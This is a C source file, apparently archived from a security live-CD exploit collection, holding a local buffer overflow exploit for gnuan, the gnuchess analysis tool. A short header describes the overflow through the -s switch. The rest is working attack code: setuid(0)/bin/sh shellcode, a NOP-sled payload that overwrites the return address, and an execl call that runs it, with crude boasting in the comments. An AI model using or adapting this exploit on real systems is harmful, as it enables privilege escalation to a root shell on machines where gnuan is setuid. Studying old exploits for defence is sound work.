home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / games / gnuchess / 5358gnuanx0r.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  87 lines

  1. /*
  2.  
  3.   STX SECURITY LABS:
  4.  
  5.   5358gnuanx0r.c - x86 local buffer overflow exploit
  6.   proof of concept code by: ace [ ace@static-x.org ]
  7.   vulnerability discovered by: t0asty [ t0asty@static-x.org ]
  8.  
  9.   Description:
  10.  
  11.   gnuan produces an analysis of a chess game. For each move it shows the move,
  12.   the score and the principle variation selected by gnuchess.
  13.  
  14.   Vulnerability:
  15.  
  16.   A buffer overflow vulnerability is present in gnuan.
  17.   A segmentation fault occurs when 580 bytes of data are sent to
  18.   the binary using the -s switch. The data overwrites the EIP therefore
  19.   it allows us to control the pointer, allowing us to execute code.
  20.   
  21.   Versions vulnerable:
  22.  
  23.   [-] All versions are believed to be vulnerable.
  24.       Tested on: Red Hat 7.3 with the latest version.
  25.  
  26.   ************************************************
  27.   * Note: gnuan may not be suid on all systems.  *
  28.   ************************************************
  29.  
  30.   StTtTTtTtTTtTtTTtTtTTtTtTTtTttTtTtTTtTtTTS
  31.   X                                        X
  32.   X STX ONLINE [ www.static-x.org ]        X
  33.   X                                        X
  34.   StTtTTtTtTTtTtTTtTtTTtTtTTtTttTtTtTTtTtTTS
  35.  
  36.   ************************************************
  37.   * Note: our pen0rs are 50 x larger than yours. *
  38.   ************************************************
  39.  
  40. */
  41.  
  42. #include <stdio.h>
  43.  
  44. char stxcode[] =
  45.  
  46.      /* ace's shellcode [ ace@static-x.org ] (setuid=0,/bin/sh) */
  47.      "\x31\xdb\x89\xd8\xb0\x17\xcd\x80\xeb\x03\x5e\xeb\x05\xe8\xf8\xff"
  48.      "\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x50\x80\x36\x01\x46\xe2\xfa\xea"
  49.      "\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01\x54"
  50.      "\x88\xe4\x82\xed\x11\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xb6"
  51.      "\x11\x01\x01\x8c\xb2\x2f\xee\xfe\xfe\xc6\x44\xfd\x01\x01\x01\x01"
  52.      "\x88\x74\xf9\x8c\x4c\xf9\x30\xd3\xb9\x0a\x01\x01\x01\x52\x88\xf2"
  53.      "\xcc\x81\x5a\x5f\xc8\xc2\x91\x91\x91\x91\x91\x91\x91\x91\x91";
  54.  
  55.  
  56. unsigned long pen0r(void) 
  57.  
  58. {
  59.  __asm__("movl %esp, %eax");
  60. }
  61.  
  62. int main(int argc, char **argv) {
  63.  
  64.  int pos; int ace = pen0r(); int stxnop = 0x90;
  65.  int stxbytes = 576; int stxtotal = stxbytes + 4;
  66.  char *stxbof;
  67.  stxbof = (char *)malloc(stxbytes); 
  68.  
  69.  for(pos = 0; pos < stxbytes; pos++) {*(long *)&stxbof[pos] = stxnop;}
  70.  *(long *)&stxbof[stxbytes] = pen0r();
  71.  memcpy(stxbof + stxbytes - strlen(stxcode), stxcode, strlen(stxcode));
  72.  
  73.  system("clear");
  74.  printf("#####################################\n");
  75.  printf("#        [ STX SECURITY LABS ]      #\n");
  76.  printf("#  gnuan local poc exploit by: ace  #\n");
  77.  printf("#####################################\n\n");
  78.  printf("[+] Return Address: 0x%x\n", ace);
  79.  printf("[+] Buffer Size: %d\n", stxtotal);
  80.  printf("[-] /usr/bin/gnuan -s pwned!\n\n");
  81.  
  82.  execl("/usr/bin/gnuan", "gnuan", "-s", stxbof, NULL);
  83.  
  84. return 0;
  85.  
  86. }
  87.